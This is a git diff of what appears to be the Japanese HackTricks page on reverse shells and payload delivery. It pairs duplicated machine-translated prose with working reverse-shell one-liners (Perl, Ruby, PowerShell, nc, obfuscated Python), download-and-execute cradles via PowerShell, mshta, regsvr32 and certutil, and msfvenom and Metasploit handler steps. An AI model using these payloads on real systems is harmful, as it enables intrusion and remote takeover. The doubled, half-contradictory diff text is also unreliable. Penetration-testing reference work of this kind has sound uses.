The **WAR** file format is commonly used in Java web applications. It stands for Web Application Archive and is essentially a compressed file that contains all the necessary files and resources for a web application to run.
|
||||
The **WAR** (Web Application Archive) file format is commonly used in Java-based web applications. It allows for the packaging and deployment of web applications on a server. In the context of reverse shells, a **WAR** file can be used to deliver a reverse shell payload to a target server.
|
||||
|
||||
A **reverse shell** is a type of shell that allows an attacker to establish a connection to a target machine from a remote location. This is useful for gaining unauthorized access to a system and executing commands on it.
|
||||
|
||||
To create a **reverse shell** payload in a **WAR** file using **msfvenom**, you can use the following command:
|
||||
To create a **WAR** file with a reverse shell payload, we can use the `msfvenom` tool from the Metasploit Framework. The following command generates a **WAR** file with a reverse shell payload:
|
||||
|
||||
```plaintext
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f war > shell.war
|
||||
```
|
||||
|
||||
Replace `<attacker IP>` with the IP address of the machine where the attacker is running the listener, and `<attacker port>` with the port number on which the listener is running.
|
||||
Replace `<attacker IP>` with the IP address of the machine running the listener, and `<attacker port>` with the port number the listener is configured to listen on.
|
||||
|
||||
This command will generate a **WAR** file named `shell.war` that contains the reverse shell payload. Once the target machine executes this file, it will establish a connection back to the attacker's machine, allowing the attacker to interact with the target system through a shell.
|
||||
Once the **WAR** file is generated, it can be deployed on the target server. When a user accesses the deployed web application, the reverse shell payload will be executed, establishing a connection back to the attacker's machine.
|
||||
|
||||
Remember to use this technique responsibly and only on systems that you have proper authorization to test.
|
||||
To listen for the incoming reverse shell connection, you can use the `multi/handler` module in Metasploit:
|
||||
|
||||
```plaintext
|
||||
use exploit/multi/handler
|
||||
set payload java/jsp_shell_reverse_tcp
|
||||
set LHOST <attacker IP>
|
||||
set LPORT <attacker port>
|
||||
run
|
||||
```
|
||||
|
||||
Again, replace `<attacker IP>` and `<attacker port>` with the appropriate values.
|
||||
|
||||
With the listener running, any incoming connections from the deployed **WAR** file will be captured, providing an interactive shell session on the target server.
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
|
||||
```
|
||||
|
@ -459,27 +514,21 @@ msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw >
|
|||
```
|
||||
### **Python**
|
||||
|
||||
Pythonは、人気のあるプログラミング言語であり、多くのハッカーにとって重要なツールです。Pythonは、シンプルで読みやすい構文を持ち、幅広い用途に使用することができます。Pythonを使用すると、効率的なスクリプトやツールを作成することができます。
|
||||
Pythonは、人気のあるプログラミング言語であり、多くのハッカーにとって重要なツールです。Pythonは、シンプルで読みやすい構文を持ち、幅広い用途に使用することができます。Pythonを使用することで、効率的なスクリプトやツールを作成することができます。
|
||||
|
||||
Pythonは、ハッキングにおいてさまざまな目的に使用されます。例えば、情報収集、脆弱性スキャン、エクスプロイト開発、ペネトレーションテストなどです。Pythonの柔軟性と豊富なライブラリのおかげで、これらのタスクを効果的に実行することができます。
|
||||
Pythonは、ハッキングにおいてさまざまな目的に使用されます。例えば、ネットワークスキャンや脆弱性スキャン、パスワードクラッキング、データの収集などです。Pythonの強力なライブラリやフレームワークを活用することで、これらのタスクを効率的に実行することができます。
|
||||
|
||||
Pythonを使用してハッキングに取り組む場合、以下のような一般的な手法とリソースを活用することができます。
|
||||
Pythonを使用してハッキングを行う際には、以下のような一般的な手法やリソースが役立ちます。
|
||||
|
||||
#### **msfvenom**
|
||||
- **Metasploit Framework**(MSF): Metasploit Frameworkは、ハッキングやペネトレーションテストにおいて広く使用されるフレームワークです。MSFは、多くの便利なツールやエクスプロイトを提供し、ハッカーにとって貴重なリソースです。
|
||||
|
||||
msfvenomは、Metasploit Frameworkの一部であり、ペイロードを生成するために使用されます。ペイロードは、攻撃者がターゲットシステムに送信するコードまたはデータのことです。msfvenomを使用すると、さまざまなプラットフォームやアーキテクチャに対応したカスタムペイロードを作成することができます。
|
||||
- **msfvenom**: msfvenomは、Metasploit Frameworkの一部であり、ペイロードを生成するために使用されます。ペイロードは、攻撃者がターゲットシステムに送り込む悪意のあるコードです。msfvenomを使用することで、さまざまなプラットフォームやアーキテクチャに対応したカスタムペイロードを作成することができます。
|
||||
|
||||
msfvenomは、コマンドラインツールとして提供されており、様々なオプションを使用してペイロードをカスタマイズすることができます。例えば、エンコーディング、出力形式、バイナリファイルの生成などです。
|
||||
- **リバースシェル**: リバースシェルは、攻撃者がターゲットシステムに対してリモートでコマンドを実行するための手法です。リバースシェルを使用することで、攻撃者はターゲットシステムに対してコントロールを取ることができます。
|
||||
|
||||
以下は、msfvenomを使用してWindowsシステム向けのリバースシェルペイロードを生成する例です。
|
||||
- **ステルスバックドア**: ステルスバックドアは、攻撃者がターゲットシステムにバックドアを設置するための手法です。ステルスバックドアは、検出されにくく、長期間にわたってアクセスを維持することができます。
|
||||
|
||||
```shell
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f exe > shell.exe
|
||||
```
|
||||
|
||||
このコマンドは、Windowsシステムに対してリバースシェル接続を確立するためのペイロードを生成し、`shell.exe`という名前のバイナリファイルに保存します。
|
||||
|
||||
msfvenomは、ハッキングにおいて非常に便利なツールであり、さまざまな攻撃シナリオで使用されます。ただし、悪意のある目的で使用する場合は、法的な制約と倫理的な考慮事項に留意する必要があります。
|
||||
これらの手法やリソースを使用することで、Pythonを活用した効果的なハッキングを実行することができます。ただし、ハッキングは合法的な目的のためにのみ使用されるべきであり、違法な活動には使用しないようにしてください。
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
|
||||
```
|
||||
|
@ -495,12 +544,12 @@ Bashは、システム管理や自動化、セキュリティテストなど、
|
|||
```bash
|
||||
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長する日々において、Web3セキュリティをマスターしましょう。
|
||||
|
@ -516,10 +565,10 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたり**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
@ -20,12 +20,12 @@
|
|||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇中のWeb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -47,65 +47,42 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||
#Windows
|
||||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
```
|
||||
Perlは、多くのハッキングシナリオで使用される強力なスクリプト言語です。Perlスクリプトは、Windowsシステムでのペネトレーションテストや情報収集に役立ちます。
|
||||
Perlは、多目的のスクリプト言語であり、Windowsシステムでのハッキングに使用することができます。Perlスクリプトは、Windowsシェルコマンドを実行するための強力なツールです。Perlを使用すると、システムの構成情報の収集、ファイルの操作、ユーザーの管理など、さまざまなタスクを自動化することができます。
|
||||
|
||||
### Windowsシェルの作成
|
||||
Windowsシェルを作成するために、Perlスクリプトを使用することができます。以下のスクリプトは、Windowsシステムでのシェルの作成方法を示しています。
|
||||
Perlスクリプトを使用してWindowsシェルコマンドを実行するには、`system`関数を使用します。以下は、PerlスクリプトでWindowsシェルコマンドを実行する例です。
|
||||
|
||||
```perl
|
||||
use Win32::Console;
|
||||
use Win32::API;
|
||||
#!/usr/bin/perl
|
||||
|
||||
my $console = Win32::Console->new();
|
||||
my $kernel32 = Win32::API->new('kernel32', 'SetConsoleTitle', ['P'], 'I');
|
||||
my $user32 = Win32::API->new('user32', 'ShowWindow', ['N', 'N'], 'I');
|
||||
|
||||
$kernel32->Call('My Shell');
|
||||
$user32->Call(0, 0);
|
||||
|
||||
while (1) {
|
||||
$console->Write("My Shell> ");
|
||||
my $cmd = <STDIN>;
|
||||
chomp $cmd;
|
||||
last if $cmd eq 'exit';
|
||||
system($cmd);
|
||||
}
|
||||
|
||||
$user32->Call(1, 0);
|
||||
# Windowsシェルコマンドを実行する
|
||||
system("コマンド");
|
||||
```
|
||||
|
||||
このスクリプトは、Win32::ConsoleとWin32::APIモジュールを使用しています。スクリプトを実行すると、Windowsシェルが作成され、コマンドを入力することができます。`exit`と入力すると、シェルが終了します。
|
||||
上記の例では、`system`関数を使用してWindowsシェルコマンドを実行しています。`コマンド`の部分には、実行したいWindowsシェルコマンドを指定します。
|
||||
|
||||
このPerlスクリプトを使用することで、Windowsシステムでのペネトレーションテストや情報収集に役立つシェルを作成することができます。
|
||||
Perlスクリプトを使用してWindowsシェルコマンドを実行する際には、セキュリティに注意する必要があります。不正なコマンドの実行やシステムへの悪意のあるアクセスを防ぐために、入力の検証やエスケープ処理を行うことが重要です。
|
||||
|
||||
Perlは、Windowsシステムでのハッキングにおいて非常に便利なツールですが、適切な許可なしに使用することは違法です。常に法律と倫理に従い、正当な目的のためにのみ使用してください。
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## ルビー
|
||||
|
||||
Rubyは、オブジェクト指向のスクリプト言語であり、多くのプラットフォームで動作します。Rubyは、シンプルで読みやすい構文を持ち、柔軟性と拡張性に優れています。Rubyは、Webアプリケーションの開発や自動化スクリプトの作成に広く使用されています。
|
||||
Rubyは、オブジェクト指向のスクリプト言語であり、多くのプログラミングタスクを簡単に実行するための強力なツールです。Rubyは、シンプルで読みやすい構文を持ち、柔軟性と拡張性に優れています。Rubyは、Webアプリケーションの開発や自動化スクリプトの作成など、さまざまな用途に使用されています。
|
||||
|
||||
### Rubyのシェル
|
||||
|
||||
Rubyのシェルは、Rubyスクリプトを実行するための環境です。Rubyのシェルを使用すると、コマンドラインからRubyスクリプトを実行し、結果を表示することができます。
|
||||
|
||||
以下は、Rubyのシェルの使用例です。
|
||||
Rubyのシェルスクリプトは、Windows環境でのハッキングに役立ちます。Rubyのシェルスクリプトを使用すると、Windowsシステムに対して様々な攻撃を実行することができます。以下に、Rubyを使用したWindowsシェルスクリプトの例を示します。
|
||||
|
||||
```ruby
|
||||
puts "Hello, World!"
|
||||
require 'win32ole'
|
||||
|
||||
shell = WIN32OLE.new('Shell.Application')
|
||||
shell.ShellExecute('cmd.exe', '', '', 'open', 1)
|
||||
```
|
||||
|
||||
上記のコードは、"Hello, World!"というメッセージを表示するシンプルなRubyスクリプトです。このスクリプトをRubyのシェルで実行すると、メッセージが表示されます。
|
||||
このスクリプトは、Windowsのコマンドプロンプトを開くためにShellオブジェクトを使用しています。このスクリプトを実行すると、Windowsシステム上でコマンドプロンプトが開かれます。
|
||||
|
||||
### Rubyのシェルの利点
|
||||
|
||||
Rubyのシェルを使用すると、以下のような利点があります。
|
||||
|
||||
- シンプルな構文:Rubyのシェルは、シンプルで読みやすい構文を持っています。これにより、初心者でも簡単にRubyスクリプトを作成できます。
|
||||
- 柔軟性と拡張性:Rubyのシェルは、柔軟性と拡張性に優れています。これにより、さまざまな用途に応じたスクリプトを作成することができます。
|
||||
- プラットフォームのサポート:Rubyのシェルは、多くのプラットフォームで動作します。これにより、さまざまな環境でRubyスクリプトを実行することができます。
|
||||
|
||||
Rubyのシェルは、Rubyスクリプトの実行や開発に便利なツールです。Rubyのシェルを使用して、効率的にプログラミング作業を行いましょう。
|
||||
Rubyのシェルスクリプトは、Windowsシステム上での様々な操作や攻撃を実行するための強力なツールです。しかし、悪意のある目的で使用することは違法ですので、正当な目的のためにのみ使用してください。
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
|
@ -138,8 +115,8 @@ Luaスクリプトのデバッグには、以下の手順を実行します。
|
|||
|
||||
1. デバッガツールをダウンロードしてインストールします。
|
||||
2. デバッガツールを起動し、Luaスクリプトを開きます。
|
||||
3. 必要な設定(ブレークポイントなど)を行います。
|
||||
4. スクリプトを実行し、デバッガツールのインターフェースを使用してデバッグを行います。
|
||||
3. 必要に応じてブレークポイントを設定します。
|
||||
4. スクリプトを実行し、デバッガツールのインターフェースを使用して変数の値を確認したり、ステップ実行したりします。
|
||||
|
||||
Luaスクリプトのデバッグには、デバッガツールのドキュメントやチュートリアルを参照することをおすすめします。
|
||||
```bash
|
||||
|
@ -167,13 +144,11 @@ Powershellは、Windowsシステムで使用される強力なスクリプト言
|
|||
|
||||
Powershellは、.NETフレームワークをベースにしており、Windowsの機能やAPIにアクセスするための豊富なコマンドレットを提供しています。これにより、システムの情報の取得や変更、ファイルの操作、ネットワークの管理など、さまざまなタスクを実行することができます。
|
||||
|
||||
Powershellは、コマンドラインインターフェース(CLI)として使用することも、スクリプトとして実行することもできます。スクリプトを作成することで、複数のコマンドや操作をまとめて実行することができます。
|
||||
Powershellは、コマンドラインインターフェース(CLI)として使用することも、スクリプトとして実行することもできます。スクリプトを作成することで、複雑なタスクを自動化し、再利用可能なコードを作成することができます。
|
||||
|
||||
Powershellは、システム管理者やセキュリティエンジニアにとって非常に便利なツールです。Powershellを使用することで、システムの監視、脆弱性のスキャン、ログの分析など、さまざまなセキュリティ関連のタスクを効率的に実行することができます。
|
||||
Powershellは、Windowsシステムの監視、設定、および管理において非常に便利なツールです。セキュリティテストやペネトレーションテストにおいても、Powershellを使用してシステムの脆弱性を特定し、悪用することができます。
|
||||
|
||||
Powershellは、Windowsシステムでのハッキングやペネトレーションテストにおいても重要な役割を果たします。ハッカーは、Powershellを使用して、システムに侵入したり、機密情報を抽出したりすることができます。そのため、システム管理者やセキュリティエンジニアは、Powershellのセキュリティに対する理解と対策を強化する必要があります。
|
||||
|
||||
Powershellは、Windowsシステムでのハッキングにおいて非常に強力なツールですが、正当な目的で使用されることもあります。システム管理者やセキュリティエンジニアは、Powershellの機能と使用方法を理解し、適切に活用することが重要です。
|
||||
Powershellは、Windowsシステムでのハッキングやセキュリティテストにおいて重要なツールの一つです。Powershellの基本的なコマンドやスクリプトの作成方法を学ぶことは、ハッカーにとって非常に有益なスキルです。
|
||||
```bash
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
||||
|
@ -192,39 +167,9 @@ powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
|||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
Mshta is a Windows utility that allows you to execute HTML applications (HTAs) using the Microsoft HTML Application Host. HTAs are standalone applications that can be executed directly from the Windows shell without the need for a web browser.
|
||||
**このドキュメントの最後に、さまざまなPowershellシェルに関する詳細情報を取得できます**
|
||||
|
||||
### Usage
|
||||
|
||||
To execute a command using Mshta, you can use the following syntax:
|
||||
|
||||
```
|
||||
mshta.exe javascript:command;
|
||||
```
|
||||
|
||||
For example, to display a message box with the text "Hello, World!", you can use the following command:
|
||||
|
||||
```
|
||||
mshta.exe javascript:alert('Hello, World!');
|
||||
```
|
||||
|
||||
### Advantages
|
||||
|
||||
Mshta can be useful in scenarios where you want to execute arbitrary commands on a target system without relying on traditional command-line utilities. Since HTAs are executed by the HTML Application Host, they have the ability to interact with the Windows shell and perform various actions.
|
||||
|
||||
### Limitations
|
||||
|
||||
It's important to note that Mshta may be detected by antivirus software due to its ability to execute arbitrary commands. Additionally, the use of Mshta may require administrative privileges on the target system.
|
||||
|
||||
### Detection
|
||||
|
||||
To detect the use of Mshta, you can monitor for the execution of the `mshta.exe` process or look for suspicious command-line arguments that include `javascript:`.
|
||||
|
||||
### Mitigation
|
||||
|
||||
To mitigate the risk of Mshta being used for malicious purposes, it is recommended to restrict the execution of `mshta.exe` through application whitelisting or by using security solutions that can detect and block its usage.
|
||||
|
||||
For more information on different Powershell Shells, refer to the [Powershell Shells](../shells/powershell.md) section at the end of this document.
|
||||
## Mshta
|
||||
```bash
|
||||
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
|
||||
```
|
||||
|
@ -292,16 +237,9 @@ Mshta is a Microsoft HTML Application Host that allows you to execute HTML appli
|
|||
|
||||
Metasploit, a popular penetration testing framework, provides a module called `exploit/windows/browser/mshta` that exploits the Mshta vulnerability. This module generates a malicious .hta file and delivers it to the target system. When the .hta file is executed, it runs the specified payload, giving the attacker remote access to the target machine.
|
||||
|
||||
To use the `exploit/windows/browser/mshta` module in Metasploit, follow these steps:
|
||||
To use the `exploit/windows/browser/mshta` module in Metasploit, you need to set the required options such as the target IP address, payload, and listener. Once the options are set, you can run the exploit and gain access to the target system.
|
||||
|
||||
1. Set the `RHOST` option to the IP address of the target system.
|
||||
2. Set the `PAYLOAD` option to the desired payload.
|
||||
3. Set the `LHOST` option to the IP address of the attacking machine.
|
||||
4. Run the exploit.
|
||||
|
||||
Once the exploit is successful, the attacker will have a Meterpreter session, which provides a powerful interface to interact with the compromised system.
|
||||
|
||||
It is important to note that using Metasploit for unauthorized access to systems is illegal and unethical. This information is provided for educational purposes only.
|
||||
It is important to note that using this technique may trigger antivirus alerts, as it is a known attack vector. Therefore, it is recommended to use this method in controlled environments or with proper authorization during penetration testing engagements.
|
||||
```bash
|
||||
use exploit/windows/misc/hta_server
|
||||
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
|
||||
|
@ -405,7 +343,7 @@ Replace `<path_to_malicious_dll>` with the path to the generated DLL file and `<
|
|||
|
||||
Once the DLL file is loaded, Koadic establishes a communication channel with the compromised system, allowing the attacker to execute various commands and perform post-exploitation activities.
|
||||
|
||||
It is important to note that the Rundll32-Koadic technique is just one of many methods used in post-exploitation scenarios. It is crucial to understand the risks and legal implications associated with using such techniques before attempting them.
|
||||
It is important to note that the use of Rundll32 and Koadic for malicious purposes is illegal and unethical. This information is provided for educational purposes only to raise awareness about potential security risks.
|
||||
```bash
|
||||
use stager/js/rundll32_js
|
||||
set SRVHOST 192.168.1.107
|
||||
|
@ -418,17 +356,18 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
|
|||
|
||||
Regsvr32は、Windowsシステムで使用されるコマンドラインツールです。主に、DLL(ダイナミックリンクライブラリ)ファイルを登録および解除するために使用されます。このツールは、WindowsのレジストリにDLLファイルのエントリを追加または削除することにより、プログラムの機能を拡張または制限することができます。
|
||||
|
||||
Regsvr32コマンドは、次のようなシナリオで使用されます。
|
||||
Regsvr32コマンドは、次のようなシンタックスを持ちます。
|
||||
|
||||
- DLLファイルの登録: `regsvr32 filename.dll`コマンドを使用して、DLLファイルをWindowsのレジストリに登録します。これにより、プログラムがDLLファイルの機能を利用できるようになります。
|
||||
```
|
||||
regsvr32 [/u] [/s] <DLLファイルのパス>
|
||||
```
|
||||
|
||||
- DLLファイルの解除: `regsvr32 /u filename.dll`コマンドを使用して、既に登録されているDLLファイルをWindowsのレジストリから解除します。これにより、プログラムがDLLファイルの機能を利用できなくなります。
|
||||
- `/u`オプションは、DLLファイルの登録を解除するために使用されます。
|
||||
- `/s`オプションは、Regsvr32の実行時にダイアログボックスを表示しないようにします。
|
||||
|
||||
Regsvr32コマンドは、悪意のあるユーザーによって悪用される可能性があるため、注意が必要です。悪意のあるDLLファイルを登録することにより、システムに深刻なセキュリティリスクが発生する可能性があります。したがって、信頼できるソースからのみDLLファイルを登録することが重要です。
|
||||
Regsvr32を使用すると、悪意のあるユーザーはシステムに悪影響を与えることができます。たとえば、悪意のあるDLLファイルを登録することにより、システムの制御を乗っ取ることができます。このような攻撃を防ぐためには、信頼できるソースからのみDLLファイルを登録するようにしてください。また、セキュリティソフトウェアを使用してシステムを保護することも重要です。
|
||||
|
||||
また、Regsvr32コマンドは、システムの一部の機能を制限するためにも使用されます。これにより、特定のプログラムや機能を無効化することができます。ただし、これは正当な目的でのみ使用するべきであり、悪意のある目的で使用することは違法です。
|
||||
|
||||
Regsvr32コマンドは、Windowsシステムで一般的に使用されるツールの1つです。正当な目的で使用する場合は、注意して使用する必要があります。
|
||||
Regsvr32は、システム管理者やセキュリティ専門家にとって便利なツールですが、悪用される可能性もあるため、慎重に使用する必要があります。
|
||||
```bash
|
||||
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||
```
|
||||
|
@ -494,14 +433,12 @@ certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil
|
|||
```
|
||||
**Defenderによって検出されました**
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期において、Web3セキュリティをマスターしましょう。
|
||||
|
@ -521,25 +458,18 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0
|
|||
|
||||
Cscript is a command-line scripting engine provided by Microsoft. It is commonly used for running VBScript or JScript scripts on Windows systems. Metasploit, on the other hand, is a popular penetration testing framework that includes various tools and exploits for testing the security of computer systems.
|
||||
|
||||
In the context of Metasploit, Cscript can be used as a payload delivery method. By creating a malicious script using VBScript or JScript and then executing it with Cscript, an attacker can deliver a payload to a target system. This payload can be a backdoor, a keylogger, or any other type of malicious software.
|
||||
In the context of Metasploit, Cscript can be used as a payload delivery method. By creating a malicious script using VBScript or JScript and then executing it with Cscript, an attacker can deliver a payload to a target system. This payload can be a backdoor or a remote access tool, allowing the attacker to gain unauthorized access to the system.
|
||||
|
||||
To use Cscript with Metasploit, you can create a script that includes the desired payload and then use the `exploit/windows/local/cscript` module to execute it on the target system. This module allows you to specify the path to the script and the arguments to be passed to Cscript.
|
||||
|
||||
Here is an example of how to use Cscript with Metasploit:
|
||||
To use Cscript with Metasploit, you can create a malicious script using the `msfvenom` tool and then execute it with the `cscript` command. Here is an example:
|
||||
|
||||
```
|
||||
use exploit/windows/local/cscript
|
||||
set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
set SCRIPT /path/to/malicious_script.vbs
|
||||
set ARGS arg1 arg2 arg3
|
||||
exploit
|
||||
